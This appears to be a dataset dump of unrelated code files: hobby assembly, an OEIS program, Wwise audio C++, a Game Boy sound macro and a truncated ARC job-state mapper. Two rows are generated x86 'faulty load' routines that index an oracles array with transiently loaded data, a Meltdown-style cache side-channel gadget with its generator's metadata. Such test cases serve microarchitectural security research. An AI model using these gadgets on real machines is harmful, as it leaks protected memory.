text stringlengths 1 1.05M |
|---|
ORG $100
INICIO LDX #$50
LDY #$50
LDAA #$0A
STAA $50
LDAA #$02
STAA $51
LDAA #$0A
STAA $52
LDAA #$04
STAA $53
LDAA #$32
STAA $54
LDAA #$2F
STAA $55
LDAA #$02
STAA $56
LDAA #$1A
STAA $57
LDAA #$04
STAA $58
LDAA #$3B
STAA $59
LDAA #$FF
STAA $5A
LDAA #$00
STAA $5B
LDAA #$03
STAA $5C
LDAA #$04
STAA $5D
LDAA #$25
STAA $5E
LDAA #$0A
STAA $5F
LDAA #$2F
STAA $60
LDAA #$1C
STAA $61
LDAA #$02
STAA $62
LDAA #$1A
STAA $63
LDAA #$3B
STAA $64
LDAA #$FF
STAA $65
LDAA #$5A
STAA $66
LDAA #$1D
STAA $67
LDAA #$00
STAA $68
LDAA #$80
STAA $69
LDAA #$24
STAA $6A
LDAA #$2C
STAA $6B
LDAA #$4B
STAA $6C
LDAA #$3B
STAA $6D
LDAA #$1A
STAA $6E
LDAA #$30
STAA $6F
REGRE LDAA $00,X
LDAB $00,Y
CBA
INCRE INX
BEQ FIN
CMPA $00,X
BRA INCRE
VUELTA STAA $70
CBA
BEQ VUELTA
BCS ALOTRO
ALOTRO STAA $71
BGE REGRE
INY
FIN BRA FIN
|
printh:
push cx
push di
push bx
mov si, HEX_PATTERN ; Load HEX_PATTERN memory location to si
mov cl, 12
mov di, 2
.hexLoop:
mov bx, dx ; copy dx to bx to preserve original hex value
shr bx, cl ; Shift value in bx 12 bits (3 bytes) right
and bx, 0x000f ; mask first 3 digits
mov bx, [bx + HEX_TABLE] ; load ascii character from HEX_TABLE into bx
mov [HEX_PATTERN + di], bl ; insert byte bl into correct spot in HEX_PATTERN
sub cl, 4 ; change bits shifted in next iteration
inc di ; add 1 to insertion location in HEX_PATTERN
cmp di, 6 ; since HEX_PATTERN.length = 5:
je .exit ; if (di == 6) {exit the loop}
jmp .hexLoop
.exit:
call printf ; print HEX_PETTERN which is now populated
pop bx
pop di
pop cx
ret
HEX_PATTERN: db '0x****', 0x0a, 0x0d, 0
HEX_TABLE: db '0123456789abcdef'
|
; A104738: Positions of records in A104706.
; 1,2,3,5,6,9,11,15,17,21,24,29,30,39,41,51,54,59,66,75,77,87,96,105,107,120,129,137,141,161,165,180,186,201,209,221,227,249,255,270,285,306,311,324,336,359,366,390,401,420,435,459,465,495,501,527,534,561,587,600,606,639,666,696,701,714,744,774,779,816,831,857,885,917,924,941,966,1020,1029,1059,1080,1121,1146,1157,1170,1217,1247,1290,1301,1331,1359,1380,1409,1461,1470,1527,1536,1551,1617,1641
lpb $0
mov $2,$0
sub $0,1
add $2,1
add $1,$2
div $1,$2
mul $1,$2
lpe
div $1,2
add $1,1
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x189ca, %rsi
lea addresses_A_ht+0x88ea, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
lfence
mov $76, %rcx
rep movsw
nop
nop
nop
nop
add $38837, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %r8
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r15
push %rax
push %rbx
// Store
lea addresses_normal+0xebaa, %r13
nop
cmp %r10, %r10
movw $0x5152, (%r13)
sub %r10, %r10
// Store
lea addresses_A+0x43ea, %rax
nop
nop
xor %r14, %r14
movl $0x51525354, (%rax)
nop
nop
nop
nop
nop
sub $20412, %r11
// Load
lea addresses_US+0x897a, %r10
nop
nop
add $54558, %r14
movaps (%r10), %xmm4
vpextrq $0, %xmm4, %r11
add %r14, %r14
// Load
lea addresses_D+0x1f012, %r13
nop
inc %r11
mov (%r13), %r15d
nop
nop
nop
nop
and $59551, %r15
// Store
mov $0x23b10d000000050a, %r11
inc %rax
movw $0x5152, (%r11)
cmp %r13, %r13
// Store
mov $0x9ca, %r11
nop
nop
nop
nop
nop
dec %r13
mov $0x5152535455565758, %rax
movq %rax, (%r11)
nop
nop
nop
nop
nop
cmp $32085, %r11
// Load
lea addresses_RW+0x5a6a, %r11
nop
nop
add %r15, %r15
movb (%r11), %r14b
nop
nop
sub $21639, %r13
// Store
lea addresses_UC+0x1dbca, %r15
add %rax, %rax
mov $0x5152535455565758, %rbx
movq %rbx, (%r15)
nop
inc %r11
// Store
lea addresses_WT+0x139ca, %r10
nop
nop
nop
nop
nop
xor %rax, %rax
movb $0x51, (%r10)
nop
nop
nop
nop
nop
cmp $62540, %r10
// Store
lea addresses_WC+0x1a5ca, %rax
nop
nop
nop
nop
nop
inc %rbx
mov $0x5152535455565758, %r13
movq %r13, (%rax)
nop
nop
cmp %rax, %rax
// Faulty Load
mov $0xb91a300000009ca, %r13
and $46268, %rbx
movb (%r13), %r15b
lea oracles, %rax
and $0xff, %r15
shlq $12, %r15
mov (%rax,%r15,1), %r15
pop %rbx
pop %rax
pop %r15
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': True, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 3, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': True, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 6, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'00': 3, '51': 4}
51 51 00 00 51 00 51
*/
|
/*******************************************************************************
The content of this file includes portions of the AUDIOKINETIC Wwise Technology
released in source code form as part of the SDK installer package.
Commercial License Usage
Licensees holding valid commercial licenses to the AUDIOKINETIC Wwise Technology
may use this file in accordance with the end user license agreement provided
with the software or, alternatively, in accordance with the terms contained in a
written agreement between you and Audiokinetic Inc.
Version: v2019.2.8 Build: 7432
Copyright (c) 2006-2020 Audiokinetic Inc.
*******************************************************************************/
//////////////////////////////////////////////////////////////////////
//
// AkFilePackageLUT.cpp
//
// This class parses the header of file packages that were created with the
// AkFilePackager utility app (located in ($WWISESDK)/samples/FilePackager/),
// and looks-up files at run-time.
//
// The header of these file packages contains look-up tables that describe the
// internal offset of each file it references, their block size (required alignment),
// and their language. Each combination of AkFileID and Language ID is unique.
//
// The language was created dynamically when the package was created. The header
// also contains a map of language names (strings) to their ID, so that the proper
// language-specific version of files can be resolved. The language name that is stored
// matches the name of the directory that is created by the Wwise Bank Manager,
// except for the trailing slash.
//
//////////////////////////////////////////////////////////////////////
#include "low_level_IO/Win32/stdafx.h"
#include "AkFilePackageLUT.h"
#include <AK/SoundEngine/Common/AkMemoryMgr.h>
#include <AK/SoundEngine/Common/AkSoundEngine.h> // For string hash.
#include <AK/Tools/Common/AkPlatformFuncs.h>
#include <AK/Tools/Common/AkFNVHash.h>
#ifdef _DEBUG
template<bool> struct AkCompileTimeAssert;
template<> struct AkCompileTimeAssert<true> { };
#define AK_STATIC_ASSERT(e) (AkCompileTimeAssert<(e) != 0>())
#else
#define AK_STATIC_ASSERT(e)
#endif
#define AK_MAX_EXTERNAL_NAME_SIZE 260
CAkFilePackageLUT::CAkFilePackageLUT()
:m_curLangID( AK_INVALID_LANGUAGE_ID )
,m_pLangMap( NULL )
,m_pSoundBanks( NULL )
,m_pStmFiles( NULL )
,m_pExternals( NULL )
{
AK_STATIC_ASSERT(sizeof(AkFileEntry<AkFileID>) == 20);
AK_STATIC_ASSERT(sizeof(AkFileEntry<AkUInt64>) == 24);
}
CAkFilePackageLUT::~CAkFilePackageLUT()
{
}
// Create a new LUT from a packaged file header.
// The LUT sets pointers to appropriate location inside header data (in_pData).
AKRESULT CAkFilePackageLUT::Setup(
AkUInt8 * in_pData, // Header data.
AkUInt32 in_uHeaderSize // Size of file package header.
)
{
struct FileHeaderFormat
{
char headerDefinition[AKPK_HEADER_CHUNK_DEF_SIZE];
AkUInt32 uVersion;
AkUInt32 uLanguageMapSize;
AkUInt32 uSoundBanksLUTSize;
AkUInt32 uStmFilesLUTSize;
AkUInt32 uExternalsLUTSize;
};
FileHeaderFormat * pHeader = (FileHeaderFormat*)in_pData;
// Check header size,
if ( in_uHeaderSize < sizeof(FileHeaderFormat)
+ pHeader->uLanguageMapSize
+ pHeader->uSoundBanksLUTSize
+ pHeader->uStmFilesLUTSize
+ pHeader->uExternalsLUTSize)
{
return AK_Fail;
}
// Check version.
if ( pHeader->uVersion < AKPK_CURRENT_VERSION )
return AK_Fail;
// Get address of maps and LUTs.
in_pData += sizeof(FileHeaderFormat);
m_pLangMap = (StringMap*)in_pData;
in_pData += pHeader->uLanguageMapSize;
m_pSoundBanks = (FileLUT<AkFileID>*)in_pData;
in_pData += pHeader->uSoundBanksLUTSize;
m_pStmFiles = (FileLUT<AkFileID>*)in_pData;
in_pData += pHeader->uStmFilesLUTSize;
m_pExternals = (FileLUT<AkUInt64>*)in_pData;
return AK_Success;
}
// Find a file entry by ID.
const CAkFilePackageLUT::AkFileEntry<AkFileID> * CAkFilePackageLUT::LookupFile(
AkFileID in_uID, // File ID.
AkFileSystemFlags * in_pFlags // Special flags. Do not pass NULL.
)
{
AKASSERT( in_pFlags && in_pFlags->uCompanyID == AKCOMPANYID_AUDIOKINETIC );
if ( in_pFlags->uCodecID == AKCODECID_BANK
&& m_pSoundBanks
&& m_pSoundBanks->HasFiles() )
{
return LookupFile<AkFileID>( in_uID, m_pSoundBanks, in_pFlags->bIsLanguageSpecific );
}
else if ( m_pStmFiles && m_pStmFiles->HasFiles() )
{
// We assume that the file is a streamed audio file.
return LookupFile<AkFileID>( in_uID, m_pStmFiles, in_pFlags->bIsLanguageSpecific );
}
// No table loaded.
return NULL;
}
// Find a file entry by ID.
const CAkFilePackageLUT::AkFileEntry<AkUInt64> * CAkFilePackageLUT::LookupFile(
AkUInt64 in_uID, // File ID.
AkFileSystemFlags * in_pFlags // Special flags. Do not pass NULL.
)
{
AKASSERT( in_pFlags );
if ( in_pFlags->uCompanyID == AKCOMPANYID_AUDIOKINETIC_EXTERNAL
&& m_pExternals
&& m_pExternals->HasFiles() )
{
return LookupFile<AkUInt64>( in_uID, m_pExternals, in_pFlags->bIsLanguageSpecific );
}
// No table loaded.
return NULL;
}
// Set current language.
// Returns AK_InvalidLanguage if a package is loaded but the language string cannot be found.
// Returns AK_Success otherwise.
AKRESULT CAkFilePackageLUT::SetCurLanguage(
const AkOSChar* in_pszLanguage // Language string.
)
{
m_curLangID = AK_INVALID_LANGUAGE_ID;
if ( m_pLangMap && in_pszLanguage )
{
AkUInt16 uLangID = (AkUInt16)m_pLangMap->GetID( in_pszLanguage );
if ( uLangID == AK_INVALID_UNIQUE_ID
&& m_pLangMap->GetNumStrings() > 1 ) // Do not return AK_InvalidLanguage if package contains only SFX data.
{
return AK_InvalidLanguage;
}
m_curLangID = uLangID;
}
return AK_Success;
}
void CAkFilePackageLUT::RemoveFileExtension( AkOSChar* in_pstring )
{
int i = (int)AKPLATFORM::OsStrLen(in_pstring) - 1;
while (i >= 0)
{
if (in_pstring[i] == AKTEXT('.'))
{
in_pstring[i] = AKTEXT('\0');
return;
}
i--;
}
}
// Find a soundbank ID by its name.
// Returns AK_INVALID_FILE_ID if no soundbank LUT is loaded.
AkFileID CAkFilePackageLUT::GetSoundBankID(
const AkOSChar* in_pszBankName // Soundbank name.
)
{
// Remove the file extension if it was used.
AkUInt32 stringSize = (AkUInt32)AKPLATFORM::OsStrLen( in_pszBankName ) + 1;
AkOSChar* pStringWithoutExtension = (AkOSChar *)AkAlloca( (stringSize) * sizeof( AkOSChar ) );
AKPLATFORM::SafeStrCpy( pStringWithoutExtension, in_pszBankName, stringSize );
RemoveFileExtension( pStringWithoutExtension );
// Hash
return AK::SoundEngine::GetIDFromString( pStringWithoutExtension );
}
AkUInt64 CAkFilePackageLUT::GetExternalID(
const AkOSChar* in_pszExternalName // External Source name.
)
{
char* szString;
CONVERT_OSCHAR_TO_CHAR(in_pszExternalName, szString);
size_t stringSize = strlen( szString );
// 1- Make lower case.
_MakeLowerA( szString, stringSize );
AK::FNVHash64 MainHash;
return MainHash.Compute( (const unsigned char *) szString, (unsigned int)stringSize );
}
void CAkFilePackageLUT::_MakeLowerA( char* in_pString, size_t in_strlen )
{
for( size_t i = 0; i < in_strlen; ++i )
{
if( in_pString[i] >= 'A' && in_pString[i] <= 'Z' )
{
in_pString[i] += 0x20;
}
}
}
void CAkFilePackageLUT::_MakeLower( AkOSChar* in_pString )
{
size_t uStrlen = AKPLATFORM::OsStrLen( in_pString );
const AkOSChar CaseDiff = AKTEXT('a') - AKTEXT('A');
for( size_t i = 0; i < uStrlen; ++i )
{
if( in_pString[i] >= AKTEXT('A') && in_pString[i] <= AKTEXT('Z') )
{
in_pString[i] += CaseDiff;
}
}
}
AkUInt32 CAkFilePackageLUT::StringMap::GetID( const AkOSChar* in_pszString )
{
// Make string lower case.
size_t uStrLen = AKPLATFORM::OsStrLen(in_pszString)+1;
AkOSChar * pszLowerCaseString = (AkOSChar*)AkAlloca(uStrLen*sizeof(AkOSChar));
AKASSERT( pszLowerCaseString );
AKPLATFORM::SafeStrCpy(pszLowerCaseString, in_pszString, uStrLen );
_MakeLower( pszLowerCaseString );
// 'this' is m_uNumStrings. +1 points to the beginning of the StringEntry array.
StringEntry * pTable = (StringEntry*)((AkUInt32*)this + 1);
// Binary search: strings are sorted (case sensitive).
AkInt32 uTop = 0, uBottom = m_uNumStrings-1;
do
{
AkInt32 uThis = ( uBottom - uTop ) / 2 + uTop;
AkOSChar * pString = (AkOSChar*)((AkUInt8*)this + pTable[ uThis ].uOffset);
int iCmp = AKPLATFORM::OsStrCmp( pString, pszLowerCaseString );
if ( 0 == iCmp )
return pTable[uThis].uID;
else if ( iCmp > 0 ) //in_pTable[ uThis ].pString > pszLowerCaseString
uBottom = uThis - 1;
else //in_pTable[ uThis ].pString < pszLowerCaseString
uTop = uThis + 1;
}
while ( uTop <= uBottom );
// ID not found.
return AK_INVALID_UNIQUE_ID;
}
|
SFX_Cry14_2_Ch4:
dutycycle 240
unknownsfx0x20 8, 228, 144, 7
unknownsfx0x20 15, 245, 192, 7
unknownsfx0x20 8, 209, 216, 7
endchannel
SFX_Cry14_2_Ch5:
dutycycle 165
unknownsfx0x20 10, 196, 113, 7
unknownsfx0x20 15, 182, 162, 7
unknownsfx0x20 8, 161, 183, 7
endchannel
SFX_Cry14_2_Ch7:
unknownnoise0x20 8, 228, 76
unknownnoise0x20 14, 196, 60
unknownnoise0x20 8, 209, 44
endchannel
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x362, %rdx
clflush (%rdx)
sub $12723, %r13
mov (%rdx), %r8d
nop
add $51104, %rdx
lea addresses_D_ht+0x1c5eb, %rax
nop
nop
and %r11, %r11
movb (%rax), %r10b
nop
nop
xor %rdx, %rdx
lea addresses_UC_ht+0x14dcb, %rsi
clflush (%rsi)
nop
nop
nop
cmp $27531, %r10
mov $0x6162636465666768, %r8
movq %r8, %xmm1
movups %xmm1, (%rsi)
nop
cmp %r11, %r11
lea addresses_A_ht+0xeb2e, %rsi
lea addresses_WC_ht+0x157f3, %rdi
nop
sub %rax, %rax
mov $127, %rcx
rep movsw
nop
sub $22569, %rdx
lea addresses_UC_ht+0x11abb, %r8
nop
nop
and %r10, %r10
movb $0x61, (%r8)
nop
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_D_ht+0x39eb, %r13
nop
nop
nop
nop
nop
add %r11, %r11
mov $0x6162636465666768, %rdx
movq %rdx, (%r13)
nop
nop
nop
and $18684, %rax
lea addresses_A_ht+0x81eb, %r11
clflush (%r11)
inc %rdi
mov (%r11), %ax
nop
lfence
lea addresses_WT_ht+0x6bd3, %rax
nop
nop
nop
nop
sub $64078, %r11
and $0xffffffffffffffc0, %rax
movntdqa (%rax), %xmm5
vpextrq $0, %xmm5, %rsi
nop
nop
nop
nop
inc %rdx
lea addresses_WT_ht+0xc2b, %rsi
lea addresses_WT_ht+0x1b753, %rdi
inc %r10
mov $83, %rcx
rep movsq
nop
cmp %r8, %r8
lea addresses_normal_ht+0x1caeb, %r8
nop
nop
dec %rdx
movl $0x61626364, (%r8)
nop
nop
nop
nop
cmp %r10, %r10
lea addresses_normal_ht+0xfeb, %rsi
lea addresses_normal_ht+0x9f6b, %rdi
nop
nop
cmp %r11, %r11
mov $99, %rcx
rep movsq
nop
nop
nop
nop
xor $11261, %r10
lea addresses_A_ht+0x18beb, %rdi
nop
cmp $20074, %r13
mov (%rdi), %dx
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_D_ht+0x1a603, %rdi
nop
nop
nop
dec %rcx
vmovups (%rdi), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rax
nop
nop
sub $12654, %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %r8
push %rax
push %rbx
push %rdi
// Store
lea addresses_RW+0x108bb, %r10
nop
nop
nop
nop
nop
sub %rbx, %rbx
movb $0x51, (%r10)
nop
nop
nop
nop
nop
add $61337, %rax
// Load
lea addresses_RW+0x171eb, %rax
nop
nop
nop
dec %r8
mov (%rax), %bx
and $56872, %rdi
// Store
lea addresses_A+0x133eb, %r15
clflush (%r15)
nop
nop
nop
xor $51741, %rbx
mov $0x5152535455565758, %r10
movq %r10, %xmm3
vmovups %ymm3, (%r15)
nop
nop
nop
nop
nop
cmp $3670, %rdi
// Store
lea addresses_D+0x1199f, %r8
nop
and $57111, %rax
mov $0x5152535455565758, %r15
movq %r15, %xmm7
vmovups %ymm7, (%r8)
nop
nop
nop
sub %r14, %r14
// Faulty Load
lea addresses_RW+0x121eb, %r15
nop
nop
nop
sub %r8, %r8
mov (%r15), %ax
lea oracles, %r10
and $0xff, %rax
shlq $12, %rax
mov (%r10,%rax,1), %rax
pop %rdi
pop %rbx
pop %rax
pop %r8
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include <arc/StringConv.h>
#include "JobStateEMIES.h"
namespace Arc {
std::string JobStateEMIES::FormatSpecificState(const std::string& state) {
EMIESJobState st_;
st_ = XMLNode(state);
// Return format: <state>[:<attribute1>[,<attribute2>[...]]]
std::string attributes;
if (!st_.attributes.empty()) {
std::list<std::string>::const_iterator it = st_.attributes.begin();
attributes = ":" + *it++;
for (; it != st_.attributes.end(); ++it) {
attributes += "," + *it;
}
}
return st_.state + attributes;
}
JobState::StateType JobStateEMIES::StateMapS(const std::string& st) {
EMIESJobState st_;
st_ = st;
return StateMapInt(st_);
}
JobState::StateType JobStateEMIES::StateMapX(const std::string& st) {
EMIESJobState st_;
st_ = XMLNode(st);
return StateMapInt(st_);
}
JobState::StateType JobStateEMIES::StateMapInt(const EMIESJobState& st) {
/// \mapname EMIES EMI ES
/// \mapnote EMI ES states contains a state name and zero or more state attributes. For this mapping the notation:<br/><tt><name>:{*|<attribute>}</tt><br/> is used, where '*' applies to all attributes except those already specify for a particular state name.
/// \mapattr accepted:* -> ACCEPTED
if(st.state == EMIES_STATE_ACCEPTED_S) {
return JobState::ACCEPTED;
}
/// \mapattr preprocessing:* -> ACCEPTED
else if(st.state == EMIES_STATE_PREPROCESSING_S) {
if(st.HasAttribute(EMIES_SATTR_CLIENT_STAGEIN_POSSIBLE_S)) return JobState::PREPARING;
return JobState::ACCEPTED;
}
/// \mapattr processing:* -> QUEUING
else if(st.state == EMIES_STATE_PROCESSING_S) {
return JobState::QUEUING;
}
/// \mapattr processing-accepting:* -> SUBMITTING
else if(st.state == EMIES_STATE_PROCESSING_ACCEPTING_S) {
return JobState::SUBMITTING;
}
/// \mapattr processing-queued:* -> QUEUING
else if(st.state == EMIES_STATE_PROCESSING_QUEUED_S) {
return JobState::QUEUING;
}
/// \mapattr processing-running:* -> RUNNING
else if(st.state == EMIES_STATE_PROCESSING_RUNNING_S) {
return JobState::RUNNING;
}
/// \mapattr postprocessing:client-stageout-possible -> FINISHING
/// \mapattr postprocessing:* -> OTHER
else if(st.state == EMIES_STATE_POSTPROCESSING_S) {
if(st.HasAttribute(EMIES_SATTR_CLIENT_STAGEOUT_POSSIBLE_S)) return JobState::FINISHING;
return JobState::OTHER;
}
/// \mapattr terminal:preprocessing-cancel -> FAILED
/// \mapattr terminal:processing-cancel -> FAILED
/// \mapattr terminal:postprocessing-cancel -> FAILED
/// \mapattr terminal:validation-failure -> FAILED
/// \mapattr terminal:preprocessing-failure -> FAILED
/// \mapattr terminal:processing-failure -> FAILED
/// \mapattr terminal:postprocessing-failure -> FAILED
/// \mapattr terminal:app-failure -> FAILED
/// \mapattr terminal:expired -> DELETED
/// \mapattr terminal:* -> FINISHED
else if(st.state == EMIES_STATE_TERMINAL_S) {
if(st.HasAttribute(EMIES_SATTR_PREPROCESSING_CANCEL_S)) return JobState::FAILED;
if(st.HasAttribute(EMIES_SATTR_PROCESSING_CANCEL_S)) return JobState::FAILED;
if(st.HasAttribute(EMIES_SATTR_POSTPROCESSING_CANCEL_S)) return JobState::FAILED;
if(st.HasAttribute(EMIES_SATTR_VALIDATION_FAILURE_S)) return JobState::FAILED;
if(st.HasAttribute(EMIES_SATTR_PREPROCESSING_FAILURE_S)) return JobState::FAILED;
